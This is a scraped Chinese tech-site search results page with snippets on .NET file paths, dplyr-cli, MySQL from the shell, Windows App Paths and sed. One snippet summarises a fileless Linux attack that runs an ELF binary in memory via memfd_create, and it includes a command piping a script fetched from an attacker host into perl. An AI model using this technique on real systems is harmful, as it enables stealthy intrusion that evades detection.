首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

C# dotnet 解决 Path 获取文件路径在 Windows 构建在 Linux 执行问题

最近需要支持国产的 UOS 系统,这个系统我采用了 Xamarin 加上 GTK 开发,而我的日志系统有一个功能是记录日志的时候传入当前的文件路径,此时 NuGet 包是在 Windows 下构建的,因此传入的路径是...此时在 Linux 上尝试获取文件名就炸了 在 dotnet 中,可以通过 CallerFilePath 特性获取调用当前方法的文件路径是哪个,请看下面代码 public void DoProcessing...因此在 Windows 服务器构建的 NuGet 包给日志注入字符串是构建服务器上的代码文件路径 而我记日志只是使用了文件名而已,如下面代码 public static void LogInfo...下构建的在 Linux 下运行,而在 Windows 构建的库在 Windows 下执行。...系统的文件路径的坑,在这里被坑了几次了 更好的解决方法是在 Linux 运行的内容就在 Linux 构建,本来我的主项目也是在 Linux 构建的。

1.4K10
您找到你想要的搜索结果了吗?
是的
没有找到

C#常见的文件路径Api

我们经常有遇到要处理文件路径的需求,那么一般我们常见的有几种: 程序下面的文件 临时目录下的文件 获取程序下面的文件 首先我们创建了实例解决方案: ?...其中调用链是:Main.Shell->FooALibrary->,首先我们将FooAFolder.txt和FooA.txt的文件属性设置生成操作为内容,复制到输出目录为始终复制 那么我们有什么方法获取这两个文件路径...:System.Environment.CurrentDirectory 但是实际上以上两种方式不是最准和最稳的,还有一种最稳的方式: 获取当前执行程序集的方式:Assembly.GetExecutingAssembly...Api是非常灵活且准确的 获取临时目录下的文件 我们也经常会遇到需要获取临时目录路径的方式来放置一些程序临时文件,可以用下面方式获取: Console.WriteLine(Path.GetTempPath...()); //C:\Users\Ryzen\AppData\Local\Temp\

1.4K20

dplyr-cli:在Linux Terminal上直接执行dplyr

csv 不执行dplyr命令,仅将输入数据作为CSV输出到stdout kable不执行dplyr命令,而仅将输入数据作为 knitr::kable()格式字符串输出到stdout 其工作原理:dplyr-cli...使用 {littler}在终端中的CSV文件上运行dplyr命令。...目前的不足: 仅在 OSX和 YMMV的bash下测试过 每个命令的实质是在单独的R中运行 安装 虽然 dply-cli是可以直接在命令行中直接使用,但是其执行时候还是会依赖到R包。...输出mpg值为21的行: ##这里的 -c选项是用于输出格式为CSV的stdoutcat mtcars.csv | ....实例四:连接两个文件 作者提到该功能还不是很完善,主要的缺陷有: 用于连接命令后的第一个参数必须是现有文件,并且格式为(CSV或RDS) 不能通过 by连接指定参数,因此两个文件必须只有一个共同的列才能链接

2K10

如何从Linux命令行直接执行MySQLMariaDB查询

虽然您可以从MySQL/MariaDB Shell执行此操作,但此技巧将使您可以直接使用Linux命令行执行MySQL/MariaDB查询,并将输出保存到文件中以供以后检查(这在查询返回时特别有用。...让我们来看一些直接从命令行运行查询的简单示例,然后再转向更高级的查询。...----+--------------+------+-----+---------+----------------+ 我们将使用以下命令,并将输出通过管道传递到tee命令,后跟要在其中存储输出的文件名...idc_author varchar(40) NO NULL submissoin_date date YES NULL 使用纯文本文件的查询结果...小结 本文已经分享了一点Linux技巧,作为系统管理员,您可以在自动执行日常Linux任务或更轻松地执行它们方面发现有用的信息。

2.6K10

让你的 Windows 应用程序在任意路径也能够直接通过文件执行

我们将这个过程称之为向 Windows 注册一个应用程序路径。本文介绍向 Windows 注册一个应用程序路径的各种方法。 ---- Windows 如何查找程序路径?...当我们在任意目录中输入一个命令的时候,Windows 会按照如下顺序寻找这个命令对应的可执行程序: 当前的工作目录 Windows 文件夹(仅此文件夹,不会搜索子文件夹) Windows\System32...推荐使用 App Paths 即修改此注册表项来添加可执行程序。...,你可以在里面找到当前通过此方法注册的所有可执行程序。...现在我们添加一个我们自己开发的程序 walterlv.exe,于是就直接在 App Paths 子键下添加一个 walterlv.exe 的键,并将其默认值设为 walterlv.exe 的完整路径

2K10

Linux文件渗透执行ELF

magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html,思路比较奇特,这里分享给大家,当然本文大部分内容都来自于这篇文章,大家也可以直接去读原文...02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

5.5K80

linux 修改文件内容sed,linux下通过sed命令直接修改文件内容

linux下通过sed命令直接修改文件内容 sed是实现对流的编辑。通常,我们使用sed可以实现内容的编辑后然后保存成另外的一个文件,如果正确的话,才写入到源文件。...但是某些时候,我们需要直接修改文件,因为,保存文件到一个文件,然后再覆盖原文件的办法显得很麻烦。其实很简单,只需要一个-i 参数就可以了。...比如,我想替换文件中的properties 为property ,可以使用sed ‘s/properties/property/g’ build.xml这种方式,其实并没有修改build.xml文件的内容...如果想保存修改,通常的做法就需要重定向到另外的一个文件sed ‘s/properties/property/g’ build.xml > build.xml.tmp这样,build.xml.tmp文件就是修改后的文件...如果想直接修改源文件,而没有这样的过程,可以用下面的命令sed -i ‘s/properties/property/g’ build.xml这样,就直接修改了build.xml文件注:还有一个更简单的方法

6.7K20
领券